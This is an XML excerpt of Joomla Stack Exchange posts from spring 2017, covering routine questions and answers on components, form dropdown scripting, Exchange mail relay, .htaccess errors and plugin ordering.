  <row Id="19459" PostTypeId="1" CreationDate="2017-03-29T06:12:17.733" Score="6" ViewCount="432" Body="&lt;p&gt;Joomla! 3.x includes DI (Dependency Injection) container.&#xA;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.DI.Container.html&quot; rel=&quot;noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.DI.Container.html&lt;/a&gt;.&#xA;I'm curious about it's usage in my joomla component. Did anyone try to set it up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;Also that would be nice to see some examples.&#xA;&lt;/p&gt;&#xA;" OwnerUserId="9633" LastActivityDate="2018-12-24T19:01:55.400" Title="Example of DI Container usage in Jooma 3.x" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19461" PostTypeId="1" CreationDate="2017-03-29T08:26:41.717" Score="3" ViewCount="109" Body="&lt;p&gt;I've recently come across some strange behaviour of my Joomla 3.6.5 installation. I've noticed that (with SEF on) any article preceded by its ID is displayed if called directly by its URL, and not only by following the path laid out in the menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if according to the menu item, the correct path would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/menu-item1/submenu-item/219-article-title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the article shows up under any menu item and even without it. So&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/219-article-title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/menu-item2/219-article-title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;return the body of the article. In these cases, however, the title set through the menu item is maintained, only the the text of the article is rendered. Interestingly enough, only the part after the 'read more...'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I switch off SEF, the behaviour is the same when I replace the article's ID an title in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find this behaviour rather peculiar. It is causing me some trouble, as the Google crawler indexes these pages. As I run a multi-site installation, some articles of one site appear in the vest of the other (and can be accessed via Google search), which is rather annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to prevent that from happening and displaying the articles only according to the setting in the menu item?&lt;/p&gt;&#xA;" OwnerUserId="9884" LastActivityDate="2017-04-05T13:29:28.307" Title="Article appears even outside given path" Tags="|menu-item|sef|content|front-end|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19462" PostTypeId="2" ParentId="17886" CreationDate="2017-03-29T13:01:06.450" Score="1" Body="&lt;p&gt;Last week I faced the same problem, (at March 2017, version 3.6.5) it seems to me that this feature is not working or even not implemented. After digging the code I can't see any hook attached to dropdown to catch the change event. Maybe the next version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I needed some pretty hacky tweaks to my module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea:&#xA;I need a subform with dependent dropdowns form master-&gt;slave tables linked by virtuemart_custom_id field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Master id field&lt;/strong&gt;: virtuemart_custom_id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Slave id field&lt;/strong&gt;: customsforall_value_id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slave id fields will become: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{virtuemart_custom_id}&lt;/strong&gt;_&lt;strong&gt;{customsforall_value_id}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my module I will extract the desired value from the right side of the underscore character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Capture the change event on master.&lt;/li&gt;&#xA;&lt;li&gt;Determine the target dropdown.&lt;/li&gt;&#xA;&lt;li&gt;Disable all options that not match {selected_value}_&lt;/li&gt;&#xA;&lt;li&gt;Destroy the jquery-chosen object and recreate filtering the disabled.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also we need to do this process with all dropdowns when page is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In my module.xml, the description section&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;description&amp;gt;&amp;lt;![CDATA[&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        &amp;lt;!--&#xA;            jQuery(window).on('load', function(event, row){&#xA;                jQuery('.masterSelect.chzn-done').each(function() {&#xA;                    var targetfield = 'valorcustom';&#xA;                    var chosenvalue = jQuery(this).val();&#xA;                    var glue='';&#xA;                    if(this.id.indexOf('__') != -1) glue='__';&#xA;                        else glue='_';&#xA;                    var parentrow = jQuery(this).closest('.subform-repeatable-group');&#xA;                    var targetdropdown = '#jform_params'+glue;&#xA;                    targetdropdown += jQuery(parentrow).data('baseName')+glue;&#xA;                    targetdropdown += jQuery(parentrow).data('group')+glue+targetfield;&#xA;                    jQuery(targetdropdown+' option').prop('disabled', true);&#xA;                    jQuery(targetdropdown+' option[value^='+chosenvalue+'_]').prop('disabled', false);&#xA;                    var previousvalue = jQuery(targetdropdown).val();&#xA;                    jQuery(targetdropdown).chosen('destroy');&#xA;                    jQuery(targetdropdown).chosen({display_disabled_options: false});&#xA;                    jQuery(targetdropdown).val(previousvalue);&#xA;                });&#xA;            });&#xA;        --&amp;gt;&#xA;        &amp;lt;/script&amp;gt;&#xA;      ]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The field that contains the subform&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name= &quot;filtroscustom&quot;&#xA;        description= &quot;Filtros Custom&quot;&#xA;        type= &quot;subform&quot;&#xA;        label= &quot;Filtros Custom&quot;&#xA;        min= &quot;1&quot;&#xA;        max= &quot;1000&quot;&#xA;        required= &quot;true&quot;            &#xA;        formsource= &quot;modules/mod_adv_virtuemart_product/subcustom.xml&quot;&#xA;        multiple= &quot;true&quot;&#xA;        buttons= &quot;add,edit,remove&quot;&#xA;    layout=&quot;joomla.form.field.subform.repeatable-table&quot;&#xA;        groupByFieldset=&quot;false&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The subform .xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;field name=&quot;virtuemart_custom_id&quot;&#xA;        type=&quot;sql&quot;&#xA;        label=&quot;Field&quot;&#xA;        sql_select=&quot;e.virtuemart_custom_id, e.custom_title&quot;&#xA;        sql_from=&quot;#__virtuemart_customs AS e&quot;&#xA;        sql_where=&quot;e.custom_element='customfieldsforall'&quot;&#xA;        sql_order=&quot;e.custom_title ASC&quot;&#xA;        key_field=&quot;virtuemart_custom_id&quot;&#xA;        value_field=&quot;custom_title&quot;&#xA;        class=&quot;advancedSelect masterSelect&quot;&#xA;        onchange=&quot;&#xA;        var targetfield = 'valorcustom';&#xA;        var chosenvalue = jQuery(this).val();&#xA;        var glue='';&#xA;        if(this.id.indexOf('__') != -1) glue='__';&#xA;            else glue='_';&#xA;        var parentrow = jQuery(this).closest('.subform-repeatable-group');&#xA;        var targetdropdown = '#jform_params'+glue;&#xA;        targetdropdown += jQuery(parentrow).data('baseName')+glue;&#xA;        targetdropdown += jQuery(parentrow).data('group')+glue+targetfield;&#xA;        jQuery(targetdropdown+' option').prop('disabled', true);&#xA;        jQuery(targetdropdown+' option[value^='+chosenvalue+'_]').prop('disabled', false);&#xA;        jQuery(targetdropdown).val('');&#xA;        jQuery(targetdropdown).chosen('destroy');&#xA;        jQuery(targetdropdown).chosen({display_disabled_options: false});&#xA;        &quot;&#xA;    &amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot;&amp;gt;Choose field&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field name=&quot;valorcustom&quot;&#xA;        type=&quot;sql&quot;&#xA;        label=&quot;Values&quot;&#xA;        sql_select=&quot;concat(e.virtuemart_custom_id, '_', e.customsforall_value_id) as myindex, e.customsforall_value_name&quot;&#xA;        sql_from=&quot;#__virtuemart_custom_plg_customsforall_values AS e&quot;&#xA;        sql_order=&quot;e.customsforall_value_name ASC&quot;&#xA;        key_field=&quot;myindex&quot;&#xA;        value_field=&quot;customsforall_value_name&quot;&#xA;        multiple=&quot;multiple&quot;&#xA;        class=&quot;advancedSelect&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;strong&gt;targetfield&lt;/strong&gt; must be the name of target field, in my case 'valorcustom'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;targetdropdown&lt;/strong&gt; id must be defined this way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If its outside a subform will be '#jform_params_'+targetfield&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it's inside a subform will be '#jform_params'+glue+{basename}+glue+{group}+targetfield&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In my case was the second option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;glue&lt;/strong&gt; can be a single underscore character if the row is added on the fly or two underscore characters if the row is already loaded with module.&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2017-03-29T13:01:06.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19463" PostTypeId="1" AcceptedAnswerId="19470" CreationDate="2017-03-29T16:06:07.960" Score="2" ViewCount="310" Body="&lt;p&gt;I'm a bit stumped been working on trying to fix this issue for a few days now and decided it's finally time for help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, I setup a new Ubuntu 16.04LTS server used to host my Joomla intranet site. It's running PHP7.0, Apache2, Postfix (For sending emails only), MySQL Server, pretty much the whole lamp stack.  I have an internal exchange server which I inherited as I just started this job about two weeks ago and was provided no info on the servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get Joomla and by extension the ubuntu server to talk to the exchange 2016 server for email relay. When using Joomla's SMTP function and plugin the details, it fails to find the SMTP host.  To test this I connected Joomla to my gmail account via the SMTP option and it was successful. The PHPMail function says it sends the email, but there's no email in the inbox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already added the correct domain name and relay host in the postfix main.cf but I've got no luck. Any help would be appreciated.  &lt;/p&gt;&#xA;" OwnerUserId="9876" LastEditorUserId="12352" LastEditDate="2019-02-03T12:23:54.310" LastActivityDate="2019-02-03T12:23:54.310" Title="Ubuntu Server 16.04 and Joomla Mail with Exchange" Tags="|joomla-3.x|emails|jmail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19464" PostTypeId="1" CreationDate="2017-03-29T18:00:39.903" Score="2" ViewCount="204" Body="&lt;p&gt;In my custom component, I'm currently stuck with Joomla's way of handling model custom properties. Let's say I have a model &lt;code&gt;Property&lt;/code&gt;. To know if this &lt;code&gt;Property&lt;/code&gt; is sold, I have to run a query on multiple columns. There's date_sold, but there's also buyer. Both fields have to be checked before being able to say that the Property is sold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my view, I can do &lt;code&gt;if ($property-&amp;gt;date_sold ... &amp;amp;&amp;amp; $property-&amp;gt;buyer ...)&lt;/code&gt;, but is there a way to say &lt;code&gt;if ($property-&amp;gt;is_sold)&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried in my &lt;code&gt;view.html.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;is_sold = 0;&#xA;if (!is_null($this-&amp;gt;property-&amp;gt;buyer) &amp;amp;&amp;amp; $this-&amp;gt;property-&amp;gt;date_sold) {&#xA;    $this-&amp;gt;is_sold = 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't work. Strangely, var_dump is outputting null, but print_r is outputting 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I've found to do this is in the template (&lt;code&gt;default.php&lt;/code&gt;). What am I missing?  &lt;/p&gt;&#xA;" OwnerUserId="8548" LastActivityDate="2018-01-06T20:30:56.103" Title="How can I create a custom attribute/property on a model?" Tags="|joomla-3.x|custom-component|mvc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19465" PostTypeId="1" AcceptedAnswerId="19468" CreationDate="2017-03-30T01:35:58.460" Score="2" ViewCount="86" Body="&lt;p&gt;I want users to be able to download a file from my Joomla website, but I don't want the URL posted anywhere on my site. &lt;strong&gt;How can I make a file downloadable without adding any links to it from my site?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9145" LastActivityDate="2017-08-13T20:54:03.083" Title="How can I make a directory accessible without putting it on a menu?" Tags="|url|.htaccess-configuration|file-permissions|download|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19468" PostTypeId="2" ParentId="19465" CreationDate="2017-03-30T09:10:15.563" Score="3" Body="&lt;p&gt;&lt;strong&gt;Obfuscated File Name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can upload a file to the website e.g. at website.com/obfuscatedfilename.pdf and then notify users of the file location via email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users can then download the file by browsing directly to it and selecting the option to download the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Restricted Content&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could add the link to an article and only allow access to the article for registered users. Create accounts only for users that need access to the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could implement a similar solution using a third party download manager extension.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-03-30T09:10:15.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19469" PostTypeId="2" ParentId="10758" CreationDate="2017-03-30T10:11:14.773" Score="0" Body="&lt;p&gt;I'm having the same problem as I'm using multiple tables for my data and linking them however this seems like a good method, although one thing I don't understand though is there a reason why JTable's save method only returns true/false surely it would be better to return item id or NULL as that would be so much more useful.  Of course I presume there is nothing to stop you creating an override in your own table class to do so like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    MyComponentTableMyTable extends JTable&#xA;    {&#xA;        public function save($src, $orderingFilter= '', $ignore= '')&#xA;        {&#xA;            /*call parent save function and return either insertid or null depending on whether or not parent save function returns true or false */&#xA;            return ( parent::save ( $src, $orderingFilter, $ignore ) ? $_db-&amp;gt;insertid () : NULL ) ;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't actually tried this yet but can't see any reason why it shouldn't work.&lt;/p&gt;&#xA;" OwnerUserId="9893" LastActivityDate="2017-03-30T10:11:14.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19470" PostTypeId="2" ParentId="19463" CreationDate="2017-03-30T12:55:45.683" Score="1" Body="&lt;p&gt;I found the resolution. It turns out my inherited exchange server was configured incorrectly.  For those of you who may experience the same issue, here's what I did to fix it in exchange 2016.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In exchange, select Mail Flow &gt; Receive Connectors and create a new one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this instance, instead of allowing all sources to send to the exchange server, you will only allow the selected linux/ubuntu server.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Provide the new receive connector a name&lt;/li&gt;&#xA;&lt;li&gt;Verify Server address&lt;/li&gt;&#xA;&lt;li&gt;Select Frontend Transport&lt;/li&gt;&#xA;&lt;li&gt;Select the type: &quot;Internal&quot;&lt;/li&gt;&#xA;&lt;li&gt;Remove the default IP Address range and only include the source server IP&lt;/li&gt;&#xA;&lt;li&gt;Hit Finish&lt;/li&gt;&#xA;&lt;li&gt;Open the newly created receive connector and select security, ensure the following are checked:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transport Layer Security (TLS)&lt;/li&gt;&#xA;&lt;li&gt;Exchange Server Authentication&lt;/li&gt;&#xA;&lt;li&gt;Exchange Servers Only&lt;/li&gt;&#xA;&lt;li&gt;Legacy Exchange Servers&lt;/li&gt;&#xA;&lt;li&gt;Anonymous Users&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select Scoping&lt;/li&gt;&#xA;&lt;li&gt;In the &quot;Network adapter bindings&quot; leave the IP Addresses to &quot;(All Available IPv4)&quot;&lt;/li&gt;&#xA;&lt;li&gt;Change Port to 587 or desired port&lt;/li&gt;&#xA;&lt;li&gt;Click Save&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's pretty much it. It was driving me up a wall bc it just wouldn't work and to be honest I'm new to exchange server.  I just wanted to post a resolution because I could not seem to find any info on how to really resolve this across the web. So hopefully this solution will come in handy for those who may face the same issue. Learning as I go, but aren't we all.&lt;/p&gt;&#xA;" OwnerUserId="9876" LastActivityDate="2017-03-30T12:55:45.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19472" PostTypeId="1" AcceptedAnswerId="19493" CreationDate="2017-03-31T10:14:39.660" Score="3" ViewCount="774" Body="&lt;p&gt;I have a rendering problem with my config page, which is loaded with &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/index.php?option=com_config&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It shows up without any Styling - and without any embedded JavaScripts. When I look into the HTML code in the browser, I see that there is not html header/footer area. The first line of the page output is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;/administrator/index.php?option=com_config&quot; id=&quot;application-form&quot; method=&quot;post&quot; name=&quot;adminForm&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other pages, such as /index.php?option=com_checkin show up perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have compared my Joomla installation with the Joomla repository - there are no differences (just files added from my installations). So the installation seems to be ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this problem in version 3.6.1 and, after updating, also in version 3.6.5.&lt;/p&gt;&#xA;" OwnerUserId="8960" LastEditorUserId="8960" LastEditDate="2017-03-31T11:46:37.460" LastActivityDate="2021-04-27T12:13:25.370" Title="CSS/HTML problem on Joomla config page (3.6.1 and 3.6.5)" Tags="|css|joomla-3.6|administration|bugs|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19473" PostTypeId="1" CreationDate="2017-03-31T11:03:18.347" Score="0" ViewCount="80" Body="&lt;p&gt;I developed a Joomla 3.6 site deployed on local host. It was working absolutely fine. However, the site is completely broken after uploading to the remote host(&lt;a href=&quot;http://polluscope.uvsq.fr/Polluscope/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://polluscope.uvsq.fr/Polluscope/&lt;/a&gt;). I am guessing some extensions are missing. But any suggestions would be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9897" LastEditorUserId="115" LastEditDate="2017-04-02T13:52:58.413" LastActivityDate="2017-04-02T17:17:46.757" Title="My Joomla Website is broken on remote host" Tags="|joomla-3.6|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19474" PostTypeId="2" ParentId="19473" CreationDate="2017-03-31T11:48:39.147" Score="0" Body="&lt;p&gt;The errors are almost all 403 Forbidden which is probably caused by your .htaccess file. To verify, you can temporarily remove the .htaccess from the root of your site via FTP and see if those resources load without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either revert to the default Joomla htaccess (rename htaccess.txt) or if you are using the master htaccess by Nicholas K. Dionysopoulos, make sure you go through and do a find/replace for all instances of example.com and example/.com as that is what allows exceptions for your domain name.&#xA;&lt;a href=&quot;https://github.com/nikosdion/master-htaccess/blob/master/htaccess.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nikosdion/master-htaccess/blob/master/htaccess.txt&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-03-31T11:48:39.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19475" PostTypeId="2" ParentId="19473" CreationDate="2017-03-31T20:45:36.090" Score="0" Body="&lt;p&gt;How did you upload your website? Did you copy all files via ftp and import a database dump or did you use a backup extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you realy use Joomal! Version 2.5? This version is not supported any more: &lt;a href=&quot;https://downloads.joomla.org/de/cms/joomla25/2-5-28&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/de/cms/joomla25/2-5-28&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2017-03-31T20:45:36.090" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19478" PostTypeId="2" ParentId="16324" CreationDate="2017-04-01T18:19:12.420" Score="1" Body="&lt;p&gt;You can give to an author the power to publish immediatly an article :&lt;br&gt;&#xA;ARTICLE &gt; PArameters &gt; Right &lt;br&gt;&#xA; for Author : turn &quot;Change the status&quot; to allowed (no Disallowed)&lt;br&gt;&#xA;               Then when an author create an article with the frontend, his status is immediately &quot;allowed&quot; &lt;/p&gt;&#xA;" OwnerUserId="9901" LastEditorUserId="9901" LastEditDate="2017-04-01T18:31:07.173" LastActivityDate="2017-04-01T18:31:07.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19479" PostTypeId="2" ParentId="19473" CreationDate="2017-04-01T20:37:43.550" Score="1" Body="&lt;p&gt;Is the link (path to your site) correct?&#xA;You have a folder under a subdomain, i thought that was strange so i checked just the subdomain &lt;a href=&quot;http://polluscope.uvsq.fr&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://polluscope.uvsq.fr&lt;/a&gt; there was the restore  steps from Akeba and after clicking start over the site worked (the site that you can see now in my link appeared) is that your site?&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditDate="2017-04-02T17:17:46.757" LastActivityDate="2017-04-02T17:17:46.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19480" PostTypeId="1" CreationDate="2017-04-02T05:44:53.703" Score="0" ViewCount="546" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SUsPp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SUsPp.png&quot; alt=&quot;Full HTML&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How Do I edit full HTML like blogspot ? Starting from first HTML until end of it. I want to edit HTML manually . The template manager show it part by part &#xA;.. Joomla 3.6.5 . I've purchased template from Rockettheme and want to edit overall its content . Thank You ..&lt;/p&gt;&#xA;" OwnerUserId="9902" LastActivityDate="2017-07-01T10:50:25.737" Title="How to Edit Joomla Full HTML" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ClosedDate="2017-07-04T12:24:03.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="19481" PostTypeId="2" ParentId="19480" CreationDate="2017-04-02T08:34:23.403" Score="1" Body="&lt;p&gt;Joomla is a content management system and the page code is assembled from several different sources depending on the extensions enabled for the particular page such as the template and the component and any plugins or modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it difficult to edit the code directly and reliably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use template overrides and other methods to override the default code but you need to know what you are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you start reading some of the documentation before making changes that could easily be overwritten by Joomla or third party extension updates in future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://joomla.stackexchange.com/a/19338/120&quot;&gt;https://joomla.stackexchange.com/a/19338/120&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-04-02T08:34:23.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19482" PostTypeId="1" CreationDate="2017-04-02T19:08:32.853" Score="1" ViewCount="476" Body="&lt;p&gt;The site I am working with has a lot of subscriber-only content which is accessed through a set of categories associated with permission groups. Items that are subscriber-only don't currently appear on regular menus so they aren't visible on the Assignments menu in the Gantry theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to assign an outline to all Articles in a category? &lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2017-04-04T07:12:29.557" Title="Can I assign a Gantry 5 outline to a category" Tags="|administrator|template-override|gantry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19483" PostTypeId="1" CreationDate="2017-04-02T19:46:47.607" Score="0" ViewCount="58" Body="&lt;p&gt;I am pretty new to joomla . I have a server &lt;a href=&quot;http://www.newsnowis.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.newsnowis.com&lt;/a&gt; which was having an old installation and old data. I installed &lt;a href=&quot;http://demo4.ltheme.com/joomla/lt-news/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://demo4.ltheme.com/joomla/lt-news/&lt;/a&gt;  template and set this template as default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i open &lt;strong&gt;www.newsnowis.com&lt;/strong&gt; what happens is it just redirects to w&lt;strong&gt;ww.newsnowis.com/english/&lt;/strong&gt; with a blank screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My expectation is it should open the template with sample data. Can anyone sugggest which configuration is wrong and missing? This server is running in godaddy would it be misconfiguration of Cpanel? Any help is appreciated...&lt;/p&gt;&#xA;" OwnerUserId="9905" LastActivityDate="2017-04-24T18:26:52.977" Title="Joomla Template:: Not able to see newly installed template" Tags="|templates|joomla-3.5|administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19488" PostTypeId="1" CreationDate="2017-04-03T14:03:29.717" Score="1" ViewCount="56" Body="&lt;p&gt;I have a user plugin which performs some tasks and then logs the user out using &lt;code&gt;$app-&amp;gt;logout($userID, []);&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is intentional and part of the plugin's functionality, and works well if no other plugins are installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is causing problems as it interferes with other user plugins that are installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the &lt;code&gt;logout()&lt;/code&gt; call, Joomla clears the session, redirects to the site home page and exits the program. This happens immediately; the program flow does not return to the plugin that called &lt;code&gt;logout()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that any other user plugins that are set to run after this one are not being run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to tell Joomla from within my plugin that I want to log the user out at the end of the current page load, rather than immediately as per the &lt;code&gt;logout()&lt;/code&gt; method that we're using now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2017-04-03T15:46:40.683" Title="Logout within plugin interfering with other plugins" Tags="|plugin|user|plugin-events|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19489" PostTypeId="2" ParentId="19488" CreationDate="2017-04-03T15:46:40.683" Score="3" Body="&lt;p&gt;The Joomla plugins run as they are ordered in the Joomla backend. Change the ordering - and ensure that the ordering of your plugin is last. This will ensure that all other plugins will run before yours.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-04-03T15:46:40.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19490" PostTypeId="2" ParentId="19482" CreationDate="2017-04-03T16:25:04.200" Score="1" Body="&lt;p&gt;You should be able to create a category blog menu item and assign the outline to that.  I believe it should apply to the articles within that category.  &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-04-03T16:25:04.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
